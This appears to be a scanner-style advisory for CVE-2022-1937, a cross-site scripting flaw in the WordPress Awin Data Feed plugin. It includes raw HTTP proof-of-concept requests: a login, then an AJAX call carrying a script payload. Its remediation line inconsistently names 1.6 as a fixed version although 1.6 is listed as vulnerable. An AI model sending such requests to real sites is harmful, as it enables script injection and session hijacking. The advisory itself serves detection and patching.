| Title | WordPress Awin Data Feed <=1.6 - Cross-Site Scripting |
|---|---|
| Author | Akincibor,DhiyaneshDK |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the WordPress Awin Data Feed plugin (1.6 or higher) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.05048 |
| CVE ID | CVE-2022-1937 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 xss awin wpscan wp-plugin wp wordpress authenticated vuln |
WordPress Awin Data Feed plugin 1.6 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action, available to both unauthenticated and authenticated users.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=emDDVD&pwd=vZ5Cek&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin-ajax.php?action=get_sw_product&title=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/619.29 (KHTML, like Gecko) Version/17.0.14 Safari/619.29
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1937.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1937.pcap
N/AN/A